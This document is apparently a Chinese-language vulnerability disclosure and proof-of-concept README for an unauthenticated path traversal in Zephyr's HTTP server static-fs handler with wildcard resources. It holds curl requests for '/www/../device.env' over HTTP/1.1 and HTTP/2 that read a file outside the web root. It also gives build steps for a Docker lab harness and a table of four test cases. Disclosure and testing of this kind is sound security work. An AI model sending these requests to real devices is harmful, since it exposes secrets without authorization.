Zephyr HTTP 服务器 static-fs 处理器（subsys/net/lib/http）中的未认证路径遍历漏洞，当通配符资源匹配（CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y）与 HTTP_RESOURCE_TYPE_STATIC_FS 一起使用时触发。同时影响 HTTP/1.1 和 HTTP/2。
GHSA: GHSA-hch3-53g6-jj3h
b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)e55278a87be4e5534ba772b23e459882866bcd6d（2024-07-31）curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update
# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash
# Inside container:
west build -p always -b native_sim/native/64 \
zephyr/pocs/http_static_fs_native_sim \
-- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe
该测试工具挂载一个 LittleFS 镜像，在 /littlefs/www/ Web 根目录之外的 /littlefs/device.env 写入一个机密文件，暴露一个通配符 static-fs 路由，然后发起四个回环请求：
| 测试项 | 请求 | 预期结果 |
|---|
HTTP1_GLOB_TRAVERSAL | GET /www/../device.env（HTTP/1.1） | 200 + 机密内容 |
HTTP1_ENCODED_TRAVERSAL | GET /www/%2e%2e/device.env（HTTP/1.1） | 404（不进行解码） |
HTTP2_GLOB_TRAVERSAL | :path = /www/../device.env（HTTP/2） | 机密字节 |
HTTP2_ENCODED_TRAVERSAL | :path = /www/%2e%2e/device.env（HTTP/2） | 无机密内容 |